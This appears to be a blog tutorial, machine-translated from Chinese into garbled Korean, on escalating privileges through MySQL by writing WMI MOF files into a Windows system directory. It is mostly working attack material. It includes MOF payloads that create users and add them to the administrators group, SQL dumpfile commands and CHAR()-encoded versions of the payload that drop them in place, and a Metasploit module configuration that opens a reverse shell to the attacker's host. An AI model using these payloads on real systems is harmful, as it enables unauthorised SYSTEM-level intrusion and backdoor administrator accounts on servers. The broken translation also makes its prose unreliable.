제 권 학습: MySQL 데이터베이스 제 권 (mof 구멍 제 권)

너의 재능
아직 너의 야심 을 버 틸 수 없 을 때
그럼 마음 을 가 라 앉 히 고 공부 해 야 지.
목차
MySQLmof 빈틈 소개
구멍 소개 전송 문
머리말
의 원리
지식 확장:
 
MySQLmof 빈틈 소개
구멍 소개 전송 문
                         http://www.exploit-db.com/exploits/23083/
                         http://www.exploit-db.com/sploits/23083.zip
 
머리말
Windows 관리 규범 (WMI) 은 다음 과 같은 세 가지 방법 으로 WMI 저장 소 에 컴 파일 된 위탁 관리 대상 형식 (MOF) 파일 을 제공 합 니 다.
방법 1: MOF 파일 을 명령 행 인자 로 지정 하여 Mofcomp. exe 파일 을 실행 합 니 다.
방법 2: IMofCompiler 인터페이스 와 $CompileFile 방법 을 사용 합 니 다.
방법 3:% SystemRoot% \ System 32 \ Wbem \ \ MOF 폴 더 의 MOF 파일 을 끌 어 다 놓 습 니 다.
Microsoft 는 메모리 라 이브 러 리 에 가서 MOF 파일 을 컴 파일 하기 전에 두 가지 방법 을 사용 하 는 것 을 권장 합 니 다.즉, Mofcomp. exe 파일 을 실행 하거나 IMofCompiler:: CompileFile 방법 을 사용 합 니 다.
세 번 째 방법 은 뒤로 호환성 과 초기 버 전의 WMI 에 만 제공 되 며, 이 기능 은 미래 버 전에 서 제공 되 지 않 을 수 있 으 므 로 사용 하지 말 아야 합 니 다.
의 원리
      c: / windows / system 32 / wbem / mof / 디 렉 터 리 에 있 는 nullevt. mof 는 분당 한 번 씩 특정한 시간 에 한 번 씩 실 행 됩 니 다 ("And TargetInstance. Second = 5", 제어, 여기에 5 를 입력 하면 분당 5 초 에 실 행 됩 니 다.) 그러면 cmd 명령 을 nullevt. mof 에 추가 하면 cmd 명령 이 자동 으로 실 행 됩 니 다. 
. mof 파일 을 서버 에 업로드 하고 (읽 기 가능 한 디 렉 터 리) 웹 셸 을 통 해 c: / windows / system 32 / wbem / mof / nullevt. mof 로 내 보 냅 니 다.
. mof 의 내용 은
주: c 언어 로 썼 습 니 다.

#pragma namespace(“\\\\.\\root\\subscription”)
 
instance of __EventFilter as $EventFilter
 {
 EventNamespace = “Root\\Cimv2″;
 Name  = “filtP2″;
 Query = “Select * From __InstanceModificationEvent “
 “Where TargetInstance Isa \”Win32_LocalTime\” “
 “And TargetInstance.Second = 5″;
 QueryLanguage = “WQL”;
 };
 
instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = “consPCSV2″;
 ScriptingEngine = “JScript”;
 ScriptText =
 “var WSH = new ActiveXObject(\”WScript.Shell\”)
WSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

나 는 그것 을 c 디스크 디 렉 터 리 에 올 렸 다.
提权学习:MySQL数据库提权(mof 漏洞提权)_第1张图片
그리고 웹 셸 에서 sql 코드 를 통 해 내 보 내기: selectloadfile('C:\\RECYCLER\\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
提权学习:MySQL数据库提权(mof 漏洞提权)_第2张图片
실행 후 c: / windows / system 32 / wbem / mof / good / 디 렉 터 리 에 nullevt. mof 파일 이 더 나 옵 니 다.
提权学习:MySQL数据库提权(mof 漏洞提权)_第3张图片
현재 사용자 에 게 admin 이 있 는 지 확인 합 니 다.
提权学习:MySQL数据库提权(mof 漏洞提权)_第4张图片
admin 이 없 는 것 을 발견 하면 몇 초 만 기다 리 면 nullevt. mof 파일 을 호출 하여 admin 사용 자 를 만 듭 니 다.
提权学习:MySQL数据库提权(mof 漏洞提权)_第5张图片
이 사용 자 를 삭제 한 후에 도 기본적으로 5s 이상 사용 자 를 추가 합 니 다. 해결 방법 은 다음 과 같 습 니 다.
첫째: net stop winmgmt 서비스 정지,
두 번 째: 폴 더 삭제: C: \ \ WINDOWS \ system 32 \ \ wbem \ \ Repository \ \
셋째: net start winmgmt 시작 서비스
sql 에서 다음 코드 를 직접 실행 할 수도 있 습 니 다. 효 과 는 같 습 니 다.
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

提权学习:MySQL数据库提权(mof 漏洞提权)_第6张图片
c: / windows / system 32 / wbem / mof / good / 디 렉 터 리 에 nullevt. mof 파일 을 생 성 합 니 다.
사용 자 를 추 가 했 지만 admin 사용 자 는 아직 administrators 그룹 이 아 닙 니 다. mof 를 하나 더 올 려 서 administrators 그룹 에 추가 합 니 다.
#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")
WSH.run(\"net.exe localgroup administrators admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

이 cmd 명령 을 바 꾸 면 됩 니 다. "net. exe localgroup administrators admin / add \" 를 원 하 는 결과 로 바 꿉 니 다.
SELECT CHAR(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,117,115,101,114,32,97,100,109,105,110,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) INTO dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

 
지식 확장:
      metasploit 는 이미 이 방식 에 대한 이용 코드 가 있 습 니 다. 원 리 는 똑 같이 mof 파일 을 생 성 합 니 다. 다만 metasploit 에서 반등 기술 을 사용 할 수 있 을 뿐 사용 자 를 추가 로 추가 하지 않 아 도 됩 니 다. 전 제 는 상대방 서버 가 공공 네트워크 에 접근 할 수 있 도록 하 는 것 입 니 다.
      활용 단어 참조 use exploit/windows/mysql/mysql_mof 모듈
use exploit/windows/mysql/mysql_mof
set password xxx    //    mysql   
set username xxx    //    mysql   
set rhost xxx       //      ip  
set rport xxxx      //  mysql    
set payload windows/shell_reverse_tcp    //        
set lhost xxx       //    ip  
set lport xxx       //      
show options        //     ,              
exploit             //  

상소 설정 문제 없 음, 즉 exploit 실행, 셸 반등
주: 저 희 는 nc 감청 포트 번 호 를 사용 하면 셸 을 받 을 수 있 습 니 다. 보통 system 권한 입 니 다. mof 파일 은 system 에서 실행 되 기 때 문 입 니 다.
 
또 다른 mof 제기 권
구체 적 으로 my sql 제 권 에서 우 리 는 어떻게 이용 해 야 합 니까?
1. 쓰기 가능 한 디 렉 터 리 를 찾 아 mof 파일 을 업로드 합 니 다. 저 는 C: / wmpub / nullevt. mof 코드 를 다음 과 같이 올 렸 습 니 다.
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")
WSH.run(\"net.exe user waitalone waitalone.cn /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

그 중 18 번 째 줄 의 명령 은 업로드 전에 스스로 변경 하 십시오.
2 、 load 실행file 및 into dumpfile 파일 을 올 바른 위치 로 내 보 내 면 됩 니 다.
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

실행 에 성공 하면 일반 사용 자 를 추가 할 수 있 습 니 다. 그리고 명령 을 변경 하고 내 보 내기 실행 을 업로드 하여 사용 자 를 관리자 권한 으로 올 린 다음 3389 로 연결 하면 ok 입 니 다.
참조 링크:
                  https://blog.51cto.com/z2ppp/1975993
                  https://www.waitalone.cn/mysql-tiquan-summary.html
나 는 자유 가 필요 없 이 그녀의 꿈 을 업 고 싶 을 뿐이다.
한 걸음 한 걸음 앞으로 가면 그녀 가 준 것 은 영원히 무 겁 지 않다.

좋은 웹페이지 즐겨찾기